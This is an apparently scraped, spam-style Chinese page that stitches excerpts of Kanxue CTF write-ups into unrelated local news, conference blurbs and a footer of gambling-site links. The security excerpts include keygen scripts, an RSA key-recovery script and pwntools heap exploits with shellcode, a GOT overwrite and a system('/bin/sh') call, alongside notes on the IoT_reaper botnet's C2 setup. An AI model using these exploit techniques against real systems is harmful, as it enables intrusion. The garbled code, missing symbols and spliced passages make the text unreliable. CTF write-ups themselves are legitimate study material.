cdefghijklm76543210}{intsn_len=36;intindices[36];charsn[40]=BYTEkey1[8]={0xFD,0xB4,0x68,0x54,0x08,0xCD,0x56,0x4E};BYTEkey2[16]={0x65,0x48,0x32,0xEF,0xBA,0xCD,0x56,0x4E,0x0F,0x9B,0x1D,0x27,0x00,0x00,0x00,0x00};CopyMemory(sn,kxuectf{,8);strings1=encode3((PBYTE)sn,8);for(intk1=0;k164;k1++){for(intk2=0;k264;k2++){for(intk3=0;k364;k3++){BYTEexpected[32]={0x42,0xD3,0xC3,0xC2,0xF1,0x2A,0xE9,0x2D,0x66,0xC9,0x28,0x22,0x2C,0xEB,0x54,0x0E,0x94,0x07,0xE5,0x77,0x4A,0x92,0xB7,0x92,0x2E,0x5D,0xFD,0xF0,0xF3,0x54,0x9F,0xC6};BYTEbuf1[8];buf1[0]=charset3[k1];buf1[1]=charset3[k2];buf1[2]=charset3[k3];buf1[3]=charset3[63];FillMemory(buf1+4,4,0x04);des_encrypt(buf1,8,key1);CopyMemory(key2[12],buf1,4);rc6_decrypt(expected,sizeof(expected),key2);des_decrypt(expected,sizeof(expected),key1);if(memcmp(expected,_str(),8)==0){CopyMemory(sn,expected,32);sn[32]=charset3[k1];sn[33]=charset3[k2];sn[34]=charset3[k3];sn[35]=charset3[63];sn[sn_len]=0;conver_charset(sn,sn_len,indices,charset,charset3);printf(%s,sn);}}}}}kxuectf{D3crypted1sV3rylntere5tin91}来源:Forcepoint安全实验室2017年10月25日本文由看雪翻译小组编译...【阅读全文】
bjz | 2018-9-26 | 阅读(894) | 评论(178)
但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。在翻阅这篇旧文章时,我发现了一些字符被转义成了\。,  除了水稻加单种水产品养殖模式之外,灌阳县还成功探索了“稻+鱼鳅龟鳖等品种”混养模式,该模式能充分利用水体空间,健全生物链,改善环境条件,达到增产量提品质的目的。通过分析,下面使用python进行穷举,代码如下:importhashlibimportsysdefhash_md5(src):myMd5=()(src)myMd5_Digest=()returnmyMd5_Digestdefis_ok(v):ifv[2:12]==888aeda4ab:return1return0defdo_md5(src):x=x+=chr(ord(src[0])+1)foriinrange(1,len(src)):x+=chr(ord(src[i])+i)x=hash_md5(hash_md5(x))returnxdefget_sn(str,num):if(num==1):forxinstr:yieldxelse:forxinstr:foryinget_sn(str,num-1):yieldx+yif__name__==__main__:printis_ok(a3888aeda4abba91f31c8e0caae48cb9)#000000x=do_md5(000000)printx[2:12]==fd9e2ddbd6forsninget_sn(0123456789abcdefghijklmnopqrstuvwxyz,6):x=do_md5(sn)ifsn[2:6]==0000:printsnifis_ok(x)==1:printsn=+snbreak...【阅读全文】
3br | 2018-2-1 | 阅读(216) | 评论(700)
标记后,活动对象被平行复制到相应的空间,工作是基于逻辑页面分配的。该结构被工作集整理者用来判定该特定页是否是一个潜在的可整理候选页,也就是说从进程的工作集中移除。,  原标题:港北区洽谈29个大项目计划投资115亿元  1月18-20日、1月21-23日,贵港市港北区委、政府领导分别率队到广东、海南等地专题开展电子信息、生物制药产业项目招商考察活动。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。...【阅读全文】
rvh | 2018-2-1 | 阅读(391) | 评论(958)
企业管理员可以在其公司电子邮件上设置策略来限制能被分发到终端用户的文件。目前,当地新能源车产销已形成产业集聚趋势,一些邻近市县的企业开始主动搬迁至贵港。,运行,OD附加前往401000,看着挺像处理代码的下断运行,输入sn后断下(运气挺好)这个应该是初始化luabytecode(看后面字符串,功能应该是xor)0040103D885C2436movbyteptrss:[esp+36],bl0040104188442437movbyteptrss:[esp+37],al00401045C644243807movbyteptrss:[esp+38],70040104A885C2439movbyteptrss:[esp+39],bl...初始化的栈信息0012FA4E0010927C0000000000001B4C4A02023B.抾......LJ;0012FA5E00020700030009360200003902010236....6..960012FA6E03000039030203120400001205010012..9...0012FA7E06010042030400430200000873756209.B.C.. string.0012FA9E00050175360100003901010112020000.u6..9..0012FAAE42010202080100005801028029010000B..X)..0012FABE4C010200360102003901030136020400L.6.96.0012FACE12030000290401004202030229037000..).B)6.96.0012FAEE12040000290502004203030229046500..).B)6.96.0012FB0E12050000290603004204030229056400..).B)6.96.0012FB2E12060000290704004205030229066900..).B)6.96.0012FB4E12070000290805004206030229077900..).B)6.96.0012FB6E12080000290906004207030229083100..)..B)6.96.0012FB8E12090000290A07004208030229093200...)..B).6.96..0012FBAE120A0000290B080042090302290A3300...) .B.).6..9..6..0012FBCE120B0000290C0900420A0302290B3400 ..)...B.) 6..9..6 .0012FBEE120C0000290D0A00420B0302290C3500...)...B ).6 .9  6..0012FC0E120D0000290E0B00420C0302290D3600...) .B.). 6..9..6..0012FC2E120E0000290F0C00420D0302290E3700..)..B.)....0012FC4E12100400121105001212060012130700....0012FC5E121408001215090012160A0012170B00..... .0012FC6E12180C004A0D0D000762790962786F72..J...bitlen string0012FC8E3D030002000600083600000027010100=...6....0012FC9E42000201330002003700030033000400B.3..7..3..0012FCAE370005004B000100096D61696E0007627..K...main.b0012FCBE7900086269740C726571756972650002y.0012FCCE0000FE55F9EAEBD15D00313233343536..㑳胙].1234560012FCDE00000000000000000000000000000000................0012FCEE00000000000000000000000000000000................0012FCFE00000000000000000000000000000000................lua初始化,43Cleaeax,dwordptrss:[esp+3C],380040220E85C0testeax,每个字符(恩,虽然是猜的,但是后面证明猜对了)lua_xor(sn[i])xor05120A2942417561358355940040222C55pushebp00,eax004022376AF5push-0B0040223956pushesi0040223A83F705xoredi,,eax004022446AF6push-0A0040224656pushesi0040224783F312xorebx,,eax004022516AF7push-90040225356pushesi0040225483F50Axorebp,,290040225F6AF8push-80040226156pushesi0040226289442458movdwordptrss:[esp+58],,420040226E6AF9push-70040227056pushesi0040227189442448movdwordptrss:[esp+48],,410040227D6AFApush-60040227F56pushesi0040228089442460movdwordptrss:[esp+60],,750040228C6AFBpush-50040228E56pushesi0040228F89442460movdwordptrss:[esp+60],,400040229B83F061xoreax,610040229E6AFCpush-4004022A056pushesi004022A189442418movdwordptrss:[esp+18],,35004022AD6AFDpush-3004022AF56pushesi004022B089442424movdwordptrss:[esp+24],,83004022BE6AFEpush-2004022C056pushesi004022C189442434movdwordptrss:[esp+34],,55004022CD6AFFpush-1004022CF56pushesi004022D089442444movdwordptrss:[esp+44],,94结果必须为:18161E2F4811213733865294004022F383FF18cmpedi,18004022F67554jnzshort0040234C004022F883FB16cmpebx,16004022FB754Fjnzshort0040234C004022FD83FD1Ecmpebp,1E00402300754Ajnzshort0040234C00402302837C24302Fcmpdwordptr[esp+30],2F004023077543jnzshort0040234C00402309837C241848cmpdwordptr[esp+18],480040230E753Cjnzshort0040234C00402310837C242811cmpdwordptr[esp+28],11004023157535jnzshort0040234C00402317837C242021cmpdwordptr[esp+20],210040231C752Ejnzshort0040234C0040231E837C241037cmpdwordptr[esp+10],37004023237527jnzshort0040234C00402325837C241433cmpdwordptr[esp+14],330040232A7520jnzshort0040234C0040232C817C241C86000cmpdwordptr[esp+1C],86004023347516jnzshort0040234C00402336837C242452cmpdwordptr[esp+24],520040233B750Fjnzshort0040234C0040233D817C242C94000cmpdwordptr[esp+2C],94004023457505jnzshort0040234C004023478D47E9leaeax,dwordptr[edi-17]0040234AEB02jmpshort0040234E0040234C33C0xoreax,eax没看lua代码,直接试了下voidtest(){BYTEkey1[12];//123456789012BYTEbuf1[12]={0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x30,0x31,0x32};//call00412CE0的结果BYTEbuf2[12]={0x41,0x57,0x57,0x5D,0x4C,0x07,0x05,0x0B,0x0D,0x05,0x07,0x05};BYTEkey2[12]={0x05,0x12,0x0A,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94};BYTEexpected[12]={0x18,0x16,0x1E,0x2F,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94};for(inti=0;i12;i++){key1[i]=buf1[i]^buf2[i];}BYTEsn[13]={0};for(inti=0;i12;i++){sn[i]=key1[i]^key2[i]^expected[i];}printf(%s,sn);}maposafe2017“我们始终坚持以‘诚’招商,用诚意、诚信打动投资者。...【阅读全文】
ff3 | 2018-2-1 | 阅读(746) | 评论(214)
  李新元强调,贵港贵在有港,西江黄金水道是我市发展产业、旅游等各项工作的优势。2017年10月8日,VacronNVR远程攻击被曝光,集成在Iot_reaper中的LUA执行环境,基于集成的LUA执行环境,作者现在可以编写非常复杂和高效的攻击脚本,大约100个DNS开放式解析器被集成在这个恶意软件中,直到现在还没有观察到DDoS攻击命令Md5:CA92A3B74A65CE06035FCC280740DAF6僵尸网络在其lua示例中嵌入了超过100个DNS开放解析器,因此可以轻松地进行dns放大攻击。,会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。一个桶元素会包含索引0如果在哈希表中对于给定的值N没有任何符号。...【阅读全文】
3b3 | 2018-2-1 | 阅读(189) | 评论(611)
先说一下如何过反调试,调试环境为ida和android模拟器,ida卡到不行啊,羡慕有真机的。业主由原来委托多个中介才能完成的项目,变成只委托一家就可以完成,减少了多次跑路,压缩了时间,降低了成本,各类投资项目中介服务时限大幅压缩。,上传的附件:1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)...【阅读全文】
z5j | 2018-1-31 | 阅读(477) | 评论(583)
会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。每个共享的中断向量的IDT条目都指向了第一个KINTERRUPT结构体,其他的KINTERRUPT结构体通过字段InterruptListEntry形成链。,与此同时,有数百万潜在的易受攻击的设备IP正在排队等待由自动加载程序处理的c2系统,该加载程序会向设备注入恶意代码以扩大僵尸网络,僵尸网络部分借用了一些mirai源代码,但是与mirai在几个关键行为上有明显的不同,其中包括:不再破解任何弱密码,只能利用物联网设备的漏洞集成LUA执行环境,可以支持和执行更复杂的攻击扫描动作比较小,所以不会触发一些安全警告或者防火墙之类设备与C2服务器数据交互的模式:样本下载服务器:,可以从这个服务器下载bot程序,它通常使用“d”作为二级域名,如主控端服务器:,用于控制设备,发送命令,通常使用“e”作为子域,如扫描服务器:,用于收集的潜在存在漏洞的设备信息,通常使用“f”作为子域,如。一些未文档化的结构在不同Windows版本间有所变化。...【阅读全文】
nvh | 2018-1-31 | 阅读(106) | 评论(427)
2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。版纳鱼螈是我国两栖纲蚓螈目特有的动物,长得像蚯蚓,被认为已在地球上存活了上亿年,和娃娃鱼的年代相当。,将语句放在console里执行,也可加上javascript:前缀在地址栏里执行:$(.).offset({left:0,top:0}).css({width:93%,height:50%,margin:3}).siblings().hide();要说起来,其实还可将所有注入的js代码通过写入html的script标记的方式从另一个网站上加载,更方便使用。:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A...【阅读全文】
h33 | 2018-1-31 | 阅读(105) | 评论(588)
“我们始终坚持以‘诚’招商,用诚意、诚信打动投资者。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。,来源:Forcepoint安全实验室2017年10月25日本文由看雪翻译小组编译上面的情景中,Word是32位无符号数,BloomWord是32或64位数,取决于ELFCLASS,Sym相应就是Elf32_Sym和Elf64_Sym。...【阅读全文】
rlt | 2018-1-31 | 阅读(185) | 评论(764)
但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。该结构被工作集整理者用来判定该特定页是否是一个潜在的可整理候选页,也就是说从进程的工作集中移除。,利用思路利用cheat在chunk中放置shellcode,修改got指向chunk中的shellcode相关结构体structx_acc{__int64field_0;charusername[16];charpassword[16];x_character*character;};structx_character{charname[16];__int64health;__int64stamina;__int64weight;__int64location;x_item*item_head;};structx_cheat_st{charname[16];charcontent[32];};structx_chunk{__int64ref_count;__int64size;chardata[1];};structx_item{__int64id;__int64weight;__int64count;x_item*next;__int64bullet;__int64power;};脚本###=Truefrompwnimport*importsysimporttimeimportrecontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./pwn7)ifargs[LOCAL]:io=process(./pwn7)else:io=remote(,8888)sc="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"defcmd_signup(username,password,character_name):(Signup==============================)(2)(inputyourusername)(username)(inputyourpassword)(password)(inputyourcharacter\sname)(character_name)()returndefcmd_login(username,password):(Signup==============================)(1)(Inputyourusername:)(username)(Inputyourpassword:)(password)returndefcmd_exit():()(0)returndefcmd_show():()(1)(===============================)(==============================)returndefcmd_item_enter():()(2)returndefcmd_item_leave():(YourChoice:)(str(-1))(wrongchoice)returndefcmd_item_view(id):(YourChoice:)(str(id))data=()(2)returndatadefcmd_item_delete(id):(YourChoice:)(str(id))()(1)data=()(2)returndatadefcmd_goto(location):()(3)()(str(location))returndefcmd_explore(l):()(4)(Youfind:)s=(2)ifs==no:(found)returns+=(0)(Doyouwanttopickupit)ifsinl:(y)else:(n)s=returnsdefcmd_explore_until_success(l):while1:item_name=cmd_explore(l)print(pickup:%s%item_name)ifnot(item_name==):(item_name)(1)returndefcmd_cheat(first,name,content):()(5)iffirst==1:(name:)(name)(content:)(content)else:(content:)(content)returndefexploit():username=a*8password=b*8character_name=c*8cmd_signup(username,password,character_name)cmd_login(username,password)#cmd_show()cmd_goto(1)cmd_cheat(1,x*8,y*0x18)#pickup2differentitemsl=[98k,S12K,AKM,M16A4,UMP45,SKS,M416,M24,Bandage,Drink,FirstAidKit]cmd_explore_until_success(l)cmd_explore_until_success(l)#deleteoneitem(initfreelist)cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#(io)#input()#putfakepointerinitem2buf=buf+=z*0x40#item1(freed)#item2headerbuf+=p64(1)#ref_countbuf+=p64(0x18)#size#item2buf+=p64([memcmp])#id(fakepointer)buf+=p64(0)#weightbuf+=p64(1)#countbuf+=p64(0)#nextbuf+=p64(0)#bulletbuf+=p64(0)#power#freelistbuf+=p64(0)#ref_countbuf+=p64(0x20)#sizebuf+=p64(0)buf+=p64(0)cmd_cheat(0,x*8,y*0x20+buf)#overwritetargetwithfreelist+0x10cmd_item_enter()data=cmd_item_delete(1)cmd_item_leave()#copyshellcodetofreelist+0x10buf=buf+=z*0xA0buf+=sccmd_cheat(0,x*8,y*0x20+buf)cmd_exit()#triggermemcmp(callshellcode)cmd_login(username,password)()returnexploit()flag{Cr4k4ndH4ckF0rFunG00dLuck2o17}所以在执行的步骤中,同一个函数会一次又一次地添加到调用栈中。...【阅读全文】
h3r | 2018-1-30 | 阅读(660) | 评论(467)
1.处理逻辑(大数运算用的gmp)sn长度为70,前6位是e,后面的是p已知n,d,pq,求e,p,qn:6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d:2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4B2.求解因为e0x1000000,所以可以穷举e,得到e:F552B3有了e,因为e过小,可以直接得到p和q这里借用stackoverflow上的内容3.脚本importitertoolsfromgmpy2import*#e=0xF552B3n=0x6248BC3AB92A33B000FDB88568F19727F92F79EB68FF6AD73203EFD20A3E331BE941C7AA288095F33BC4B255FD983114D480EFFBEE2E313E6218A57F9CCC8189d=0x2476A7F02588913F228923E1F36F963F29708C07B117396817A6B94C336FC77FF7D381925EB40CFED8FBE894570155E41569B4EC69B26CB0320105A29651CB4Bdefget_e(n,d):(0xFFFFFF,-1):ifi=2:return0e=iifnotis_prime(e,500):continuem=0x12345678c=powmod(m,d,n)m2=powmod(c,e,n)ifm==m2:returnereturn0defget_p_q(e,n,d):ed=mul(e,d)k1=div(ed,n)kk=[k1-1,k1,k1+1]foriinrange(len(kk)):k=kk[i](t,rem)=t_divmod(ed-1,k)if(rem!=0):continues=n+(1)-(t)r=isqrt(mul(s,s)-mul(4,n))p=div(s+r,2)q=div(s-r,2)if(pq):p=qprint(sn:%X%X%(e,p))returne=get_e(n,d)print(e:%X%e)get_p_q(e,n,d)年近50岁的李阿姨说:穿上环卫工作服,免费乘坐公交车,是我们环卫工人的又一份光荣。,Windows10安全baseline建议使用Block模式下的大部分规则来保护设备免受这些威胁。Arch:amd64-64-littleRELRO:PartialRELROStack:CanaryfoundNX:NXenabledPIE:PIEenabled1:newbox1~box52:deletefree完之后没有修改in_use标志,可以多次free,存在UAF,只有box2和box3可以free3:edit4:print5:guessseed=seed;srand((unignedint)seed);v=rand();if(input()==v)printseed;elseprintv;解题思路我这个解法好像有点麻烦,等结束后学习下标准解法是什么样的..leakprocessbase,leaklibcbase,overwritegot,getshelltest_####*seed=0;intmain(){seed=seed;srand(*(unsignedint*)seed);printf("%p",seed);printf("0x%x",rand());return0;}guess_####*seed=0;intmain(intargc,char**argv){intlow3=atoi(argv[1]);intr=atoi(argv[2]);unsignedintseed;unsignedinti;for(i=0;i=0xFFFFF;i++){seed=i12;seed+=low3;srand(seed);if(rand()==r){printf("0x%x",rand());return0;}}printf("end");return0;}###=Truefrompwnimport*importsyscontext(arch=amd64,kernel=amd64,os=linux)#_level=debugelf=ELF(./club)ifargs[LOCAL]:libc_path=/lib/x86_64-linux-gnu/io=process(./club)("processbase:"+hex(()[/root/Desktop/test/pediy_pwn/club]))("processlibc_base:"+hex(()[libc_path]))else:libc_path=./io=remote(,8888)libc=ELF(libc_path)defcmd_new(index,size):()(1)()(str(index))()(str(size))()returndefcmd_delete(index):()(2)()(str(index))returndefcmd_edit(index,buf):()(3)()(str(index))(buf)returndefcmd_print(index):()(4)()(str(index))data=()returndatadefcmd_guess_wrong(v):()(5)()(str(v))(Thenumberis)data=(!)[:-1]returndatadefcmd_guess_right(v):()(5)()(str(v))(Yougetasecret:)data=(!)[:-1]returndatadefcmd_quit(name):()(6)()(name)()returndefexploit():#leakprocessbasev=cmd_guess_wrong(0)p_guess=process([./guess_seed,str(0x148),v])guess_r=p_()#printguess_rseed=cmd_guess_right(int(guess_r,16))#printhex(int(v))process_base=int(seed)-("leakedprocessbase:"+hex(process_base))#(io)#input()#triggercoaleace#usebox4toeditbox2box3len2=0x1A0len3=0x1F0cmd_new(2,len2)cmd_edit(2,A*len2)cmd_new(3,len3)cmd_delete(2)cmd_delete(3)cmd_new(4,len2+len3)data=cmd_print(4)[:6]libc_main_arena_top=0x3C4B78libc_base=u64((8,\x00))-libc_main_arena_topprint(leakedlibc_base:%x%libc_base)#createafakefreechunkinsidebox2beforebox3box2_ptr=process_base+0x202110print(box2_ptr:%x%box2_ptr)buf=buf+=p64(0)+p64(len2+1)+p64(box2_ptr-0x18)+p64(box2_ptr-0x10)buf+=A*(len2-0x20)buf+=p64(len2)buf+=p64(len3)cmd_edit(4,buf)cmd_delete(3)#box2_ptr-0x18writtentobox2_ptrcmd_edit(3,/bin/sh\x00)#[box2]=got_freebuf=buf+=p64(0)buf+=p64(0)#box0buf+=p64(0)#box1buf+=p64(process_base+[free])cmd_edit(2,buf)#[got_free]=systembuf=buf+=p64(libc_base+[system])cmd_edit(2,buf)#system(/bin/sh)cmd_delete(3)()returnexploit()...【阅读全文】
nhb | 2018-1-30 | 阅读(478) | 评论(92)
:0040100Dmovdword_41B034,:00401017callget_:::00401026moveax,dword_:0040102Btesteax,:0040102Djnzshortloc_:0040102FpushoffsetaYouGetIt;"Yougetit!".text:00401034callsub_:00401039addesp,:0040103Cxoreax,:0040103Eretncheck1v0!=0,v1!=0,v0!=v15*(v1-v0)+v1=0x8F503A4213*(v1-v0)+v0=0xEF503A42化简第一个等式得6*v1-5*v0=0x8F503A42,记为(1)check2v0!=0,v1!=0,v0!=v117*(v1-v0)+v1=0xF3A948837*(v1-v0)+v0=0x33A94883化简第一个等式得18*v1-17*v0=0xF3A94883,记为(2)化简(1),(2)得-2*v0=0x45B899BD,显然不成立2get_sn存在溢出,溢出修改返回地址为0x00413131,sn格式为:11112222333311Av0=0x31313131v1=0x32323232v2=0x33333333第一个验证:4*(v0-v1)+v0+v2=:004133E9subeax,0EAF917E2h第二个验证:3*(v0-v1)+v0+v2=:004135F7subeax,0E8F508C8h第三个验证:3*(v0-v1)+v0-v2=:004136D8subeax,0C0A3C68h化简得v0-v1=02040F1Av0+v2=E2E8DB7Av0-v2=05FE0F1Av0=7473754Av1=726F6630v2=6E756630Just0for0fun11A源码已经上传至附件(pS:r3的小玩意,只给需要的人..表哥笑笑就好自绘界面和一些小细节小方法还是比较适合MFC新手参考的,代码注释已经写得含详细了这就不贴代码了)实现功能:辣鸡清理:系统临时文件,浏览器辣鸡,浏览器cookie,内存优化,vs项目辣鸡..软件管理,系统服务,软件卸载,注册表启动项,添加和删除,病毒查杀,md5查杀,白名单查杀,全路径查杀,网络流量监控,主动防御(尽情的骂我吧..后来写着写着感觉主防太难写要稳定的hookn个函数)..内含基本ado数据库编程GDI自绘实现网络监控,有个优化的小火箭,最小化时支持程序隐藏,里面有Button类,一个Button一个类这个类继承自CButton然后用此类创建对象和Button的IDC_Button关联,然后设置Button的属性,OwnDrawer为ture,这是这些按钮的,还有一些list控件颜色,静态控件字体设置,颜色设置,还有静态控件刷新防止重影的方法,剩下的就是api用法和C++语法了....[IMG][/IMG][IMG][/IMG],同时,三方每年组织员工进行联谊交流,促进环卫、公交队伍建设。但这个样本有明显的特征:解析PE结构,所以当我们遇到这种样本的时候,可以考虑为反射式DLL注入。...【阅读全文】
共5页

友情链接,当前时间:2018-9-26

高尔夫博彩公司 赌场游戏 网上真钱打牌 真钱游戏大厅 bbin电子游戏 奔驰宝马老虎机
www.705099.com www.45639.com www.8181326.com www.5992291.com www.482456.com www.hg4711.com
www.030202.com www.xpj91911.com www.147566.com www.55msc.biz www.hg18288.com www.089669.com
www.456188.com www.6555.com www.8365922.com www.500326.com www.zy518.com www.137662.com